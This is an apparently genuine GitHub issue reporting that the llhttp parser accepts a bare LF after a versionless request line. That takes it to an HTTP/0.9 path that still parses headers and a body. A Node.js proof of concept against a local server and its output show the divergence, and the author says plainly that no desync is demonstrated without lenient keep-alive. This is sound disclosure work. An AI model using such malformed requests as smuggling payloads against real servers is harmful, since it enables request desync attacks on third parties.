Skip to content

HTTP request smuggling primitive: bare LF accepted as a request-line terminator in strict mode #877

Description

@MegaManSec

llhttp_set_lenient_optional_cr_before_lf documents that llhttp "would error when a LF is not
preceded by CR when terminating the request line", and that relaxing this exposes request smuggling.
url.ts:176 exits on a bare \n straight to the HTTP/0.9 adapter with no
LENIENT_OPTIONAL_CR_BEFORE_LF check — the only line terminator in the grammar that is ungated.

url.exit.toHTTP09 then continues into headers_start with no http_minor guard, so the message is
labelled HTTP/0.9 but headers and a Content-Length body are still parsed.

PoC

const http = require('http'), net = require('net');

const srv = http.createServer((req, res) => {          // default parser, no options
  let body = '';
  req.on('data', c => body += c);
  req.on('end', () => {
    console.log(`  ACCEPTED  HTTP/${req.httpVersion}  ${req.method} ${req.url}` +
                `  headers=${JSON.stringify(req.headers)}  body=${JSON.stringify(body)}`);
    res.end('ok');
  });
});
srv.on('clientError', e => console.log(`  REJECTED  ${e.code}`));

const cases = [
  ['versionless + bare LF', 'GET /x\nHost: a\r\nContent-Length: 5\r\n\r\nhello'],
  ['versioned   + bare LF', 'GET /x HTTP/1.1\nHost: a\r\n\r\n'],
];

srv.listen(0, async () => {
  for (const [name, raw] of cases) {
    console.log(name);
    await new Promise(done => {
      const c = net.connect(srv.address().port, '127.0.0.1', () => c.write(raw));
      c.on('close', done); c.on('error', done);
      setTimeout(() => c.destroy(), 300);
    });
  }
  srv.close();
});
versionless + bare LF
  ACCEPTED  HTTP/0.9  GET /x  headers={"host":"a","content-length":"5"}  body="hello"
versioned   + bare LF
  REJECTED  HPE_INVALID_VERSION

The same terminator is rejected when a version is present and accepted when it is absent. The
accepted message is reported as HTTP/0.9 yet carries headers and a body, neither of which HTTP/0.9
defines.

Scope, stated plainly: this path sets keepalive=0, and a pipelined follow-up request is rejected
with HPE_CLOSED_CONNECTION, so on its own it is a divergence from the documented strict-mode
guarantee rather than a demonstrated desync. Two requests parse on one connection only with
lenient_keep_alive also enabled.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions